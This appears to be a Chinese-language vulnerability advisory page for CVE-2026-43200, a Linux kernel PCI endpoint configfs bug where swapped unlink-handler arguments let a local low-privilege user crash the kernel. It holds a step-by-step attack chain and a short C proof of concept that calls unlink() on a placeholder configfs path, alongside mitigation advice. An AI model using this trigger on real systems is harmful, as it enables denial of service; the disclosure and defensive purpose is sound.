IPBUF安全漏洞报告
English
CVE-2026-43200 CVSS 5.5 中危

CVE-2026-43200 Linux内核PCI端点参数交换致崩溃

披露日期: 2026-05-06
来源: 416baaa9-dc9f-4396-8d5f-8c081fb06d67

漏洞信息

漏洞编号
CVE-2026-43200
漏洞类型
拒绝服务
CVSS评分
5.5 中危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Linux Kernel

相关标签

Linux KernelPCI EndpointDenial of ServiceParameter SwappingConfigfsKernel Panic

漏洞概述

Linux内核的PCI端点子系统中存在参数交换漏洞。在`pci_primary_epc_epf_unlink()`和`pci_secondary_epc_epf_unlink()`函数中,参数顺序与`configfs_item_operations`回调定义不一致。当本地低权限用户在configfs中执行unlink命令时,会触发内核空指针解引用或内存访问错误,导致系统崩溃(拒绝服务)。

技术细节

该漏洞源于Linux内核PCI端点驱动代码中的逻辑错误。具体而言,`struct configfs_item_operations` 的 `drop_link` 回调函数原型定义为 `void (*drop_link)(struct config_item *src, struct config_item *target)`。然而,在实现 `pci_primary_epc_epf_unlink()` 和 `pci_secondary_epc_epf_unlink()` 时,开发者错误地颠倒了 `src` 和 `target` 参数的传入顺序。当用户通过configfs接口尝试断开EPC与EPF的链接时,函数会接收到错误的指针。这些错误的指针随后被传递给底层的字符串处理函数(如 `vsnprintf`),导致无法处理的内核页错误。这进而引发内核崩溃,造成系统拒绝服务。攻击者需具备本地低权限(PR:L)即可触发此漏洞。

攻击链分析

STEP 1
1. 获取访问权限
攻击者获取本地低权限用户账号(PR:L)。
STEP 2
2. 访问Configfs
攻击者访问挂载的configfs文件系统(通常为/sys/kernel/config),并定位到PCI端点配置目录。
STEP 3
3. 触发漏洞
攻击者执行unlink系统调用,删除PCI端点控制器(EPC)与端点功能(EPF)之间的符号链接。
STEP 4
4. 内核崩溃
内核执行参数顺序错误的`pci_*_epc_epf_unlink`函数,导致非法内存访问,触发内核崩溃(DoS)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
/* * PoC for CVE-2026-43200 * Trigger: Execute unlink operation on a configfs symlink for PCI endpoint. * Effect: Kernel Panic due to swapped parameters in unlink handler. */ #include <stdio.h> #include <unistd.h> int main() { // The path depends on the specific PCI endpoint configuration setup // Assuming the attacker has access to create/modify configfs entries const char *target_link = "/sys/kernel/config/pci_epc/.../epf_link"; printf("Attempting to trigger unlink on %s\n", target_link); // The unlink system call triggers configfs_unlink -> pci_epf_unbind // which calls the vulnerable function with swapped arguments. if (unlink(target_link) == 0) { printf("Unlink command issued. Kernel crash may occur.\n"); } else { perror("Unlink failed"); } return 0; }

影响范围

Linux Kernel (修复前的特定版本)

防御指南

临时缓解措施
建议限制非root用户对/sys/kernel/config/pci_epc相关目录的写入权限,或通过内核模块禁用受影响的PCI端点功能,直至内核升级完成。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表